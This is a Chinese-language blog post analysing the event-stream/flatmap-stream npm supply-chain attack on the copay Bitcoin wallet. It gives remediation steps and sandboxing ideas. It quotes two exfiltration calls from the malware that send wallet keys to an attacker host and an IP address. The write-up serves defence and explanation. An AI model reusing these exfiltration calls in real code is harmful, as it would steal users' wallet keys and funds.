想必各位前几天都被这个新闻刷屏了,千万 NPM 包被篡改,项目存在安全风险。本着对技术的好奇,我也去了解了一下到底它攻击了什么、如何修复这个问题、有什么办法可以解决这种攻击方式。
代码到底攻击了什么
首先罪魁祸首是这个 flatmap-stream-0.1.1.tgz
包,他被 event-stream
这个包所依赖。event-stream
包的周下载量高达 180 万。在两个月前,这个含有攻击代码的包就被加入到依赖中,但是直到本月 20 号才爆发了关于这个包的讨论。
并且这个攻击包做的很鸡贼,如果你打开 flatmap-stream
的 Github 页面,会完全发现不到任何的问题,但是在 NPM 上,这个包却被加入了攻击代码。
那么接下来就来谈谈这个包到底攻击了什么。其实它的目标是 copay
,这是一个比特币钱包软件。flatmap-stream
它会扫描你项目中的 node_modules
文件夹,如果有 copay
这个的话,他就可以取到 package.json
文件中的 description
字段,对应的内容 A Secure Bitcoin Wallet
就会作为攻击代码的解密的 key,攻击代码是已 AES256
的方式加密的。
当获取解密后的攻击代码后,它会去替换 copay
中的获取秘钥函数为自己实现的代码,在这段代码中,它会将用户的秘钥发送到攻击者的服务器中
sendRequest("copayapi.host", path, payload)
sendRequest("111.90.151.134", path, payload)
以上就是它的攻击过程,并且在攻击的时候他还很鸡贼的判断了比特币的网络,如果是 test
的话,就不作操作,因为在 test
网络下,虚拟货币就算拿到也不能换钱。在正式的网络中,代码就会进行秘钥上传,这样攻击者就可以获取你的钱包秘钥,从而从钱包中获取虚拟货币。
如何修复
其实修复的方式很简单,你只需要删除 node_modules
文件夹,然后重新安装依赖即可,目前 event-stream
已经移除了 flatmap-stream
依赖。
然后如果你全局安装过 nodemon
或者三大框架的脚手架,可以先全局卸载,然后再重新安装一遍
npm uninstall -g nodemon
npm install -g nodemon
npm uninstall -g @vue/cli
npm install -g @vue/cli
对于这种攻击有什么好的解决办法
既然攻击出现过一次,那么后人就会去模仿,我们应该考虑有什么办法防止这类问题。其实在前端中有 CSP 这个东西,也就是内容安全策略,可以通过白名单的方式来防止不想要的访问和操作。
但是在 Node 中却没有 CSP 这个东西,当然前人肯定已经想到过会存在攻击的问题,intrinsic
可以做到类似 CSP 的机制。它也可以加白名单,但是有更强大的功能,比如限制文件访问系统、进程访问等等。
为了防止再出现这样大面积的问题,NPM 包的安全问题确实要关注起来。
以上就是本篇文章的内容了,同时也欢迎大家有所想法留下你想说的话。